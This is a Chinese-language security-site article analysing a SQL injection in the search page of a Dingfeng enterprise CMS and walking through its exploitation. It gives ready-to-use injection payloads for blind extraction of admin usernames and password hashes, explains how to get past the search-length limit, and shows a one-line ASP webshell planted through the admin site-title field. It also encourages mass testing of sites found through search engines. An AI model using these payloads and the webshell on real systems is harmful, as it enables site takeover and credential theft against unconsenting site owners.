首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
鼎峰企业智能建站系统注入搜索注入漏洞分析与利用
来源:vfocus.net 作者:L4nk0r 发布时间:2010-03-05  
作者: L4nk0r[莫ㄨ问]

昨天利用这个系统拿了一个webshell,但是是利用下载默认数据库的,后面发现者这套系统界面搞得还不错,就顺便看下它的安全性了。本文就其搜索注入漏洞简单分析和利用,及批量拿shell。

一.简单分析

漏洞文件:zm_search.asp代码如下


t=Request.Form("t")
key=Request.Form("key")

if t="" or key="" then
       Response.Write("<script>alert('请输入关键词!');history.back();</script>")
       Response.End()
end if

if t=1 then
       sql="select * from Zm_Product where name like '%"&key&"%' order by ord asc,id desc"
       menuname="搜索产品"
else
       sql="select * from Zm_News where title like '%"&key&"%' order by ord asc,id desc"
       menuname="搜索新闻"
end if

对表单中变量t和key直接获取,只判断是否为空,不为空就带入查询,这就造成了搜索型注入漏洞。

这里照顾下新手:

学习下SQL数据查询中WHERE子句使用Like操作符的知识,Like操作符所起的作用就是模糊查询,要使用Like进行模糊查询必须还要配合通配符才能完成,"%"就是Like操作符中的一种通配符,它代表零个或多个任意字符,为了大家理解,为大家举了一些例子:


Like "黑客%" 返回以黑客开始的任意字符
Like "%黑客" 返回以黑客结尾的任意字符
Like "%黑客%" 返回以包含黑客的任意字符

我们打开一个网站,在搜索框里输入关键字' and 1=1 and '%'='关键字就为"黑帽"吧,点搜索,结果返回与黑帽有关的资料,即语句 黑客' and 1=1 and '%'=',就属于正常,后面在输入语句黑客' and 1=2 and '%'=' 没有找到相关资料。当然这里注意,这个关键字是要能够找到文章的。


二、 漏洞利用

原理知道了,我们构造一下注入语句,这里我们以搜索“鼎峰”这个关键字,鼎峰所有是可以搜索到内容的,记住这里一定要可以搜索到否则后面很难分辨。我们在回到原来的首页搜索输入如下语句:(构造的时候要注意闭合前后%和单引号)

鼎峰%' and 1=1 and '%'='           -----------------语句1

可是无法输入全部代码,看来限制了搜索长度,打开发现最大是20个字符,在看下代码发现它是将search。Asp提交给zm_search.asp处理。这样我们就可以自己写个表单给t和key赋值来突破长度限制。代码就不给了,很简单大家自己写下。把表单action值设置成http://url/search.asp不能提交给zm_search.asp,不清楚的自己去下个代码来看。好了,输入语句1.

在一次改变表单中1=1的内容就可以了猜解出来,这里照顾新手,我列出语句并注释作用:


语句1:鼎峰%' and 1=1 and '%'='        ;1=1返回找到一个,即正常
语句2:鼎峰%' and 1=1 and '%'='        ;1=2显然不成立,找不到任何文章,即返回异常
语句3:鼎峰%' and 1<(select count(*) from zm_admin) and '%'=' ;判断管理员的人数是否大于1
语句4:鼎峰%' and (select count(name) from zm_admin)>0 and '%'=' ;判断是否存在表段name,通过查看数据库我们可以直接知道存在的。
语句5:鼎峰%' and (select top 1 asc(mid(name,1,1)) from zm_admin)>96 and '%'=' ;
功能:判断name表段第一个用户名的name的第一个字符的ascii码是否大于96,即是否等于a

同理可以把语句5的中的name字段换成password字段,同样的方法来才接密码md5散列。

当然这种注入用工具也可以扫描出来,但是需要自己添加字段,另外关键词也自己加一个可以搜索到信息的。这里我推荐NBSI和HDSI这两款工具,很简单这里就不演示了。Ok了

三、后台拿webshell

注入可以得到管理员的密码,那么进入后台看看默认地址:Manage/login.asp 这里简单利用R()函数过滤掉了单引号,万能密码没戏了。直接用注入拿到管理密码登陆。在网站配置标题直接写入一句话木马,不过这里要注意闭合语句,构造如下:

1"%><%execute(request("cmd"))%><%'

插马成功,如图:



Ok了。百度搜下就可以批量测试了,这里不说大家自己发挥,不要用于非法用途。当然这里系统还有很多问题,有兴趣的朋友可以继续挖掘。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·快客电邮(QuarkMail)最新远程
·搜狗浏览器“页面欺骗”漏洞
·远程包含和本地包含漏洞的原理
·Sablog-X 2.X 后台管理权限欺骗
·科讯 v6.5 CMS Oday
·网页编辑器漏洞手册(全面版)
·新云4.0注册上传漏洞
·Sablog-X v2.x 任意变量覆盖漏洞
·MASA2EL Music City v1.0远程注
·Phpwind7.5 后台本地包含漏洞利
·Discuz!7.0-7.2后台settings.inc
·Discuz插件《虚拟股市》blind In
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved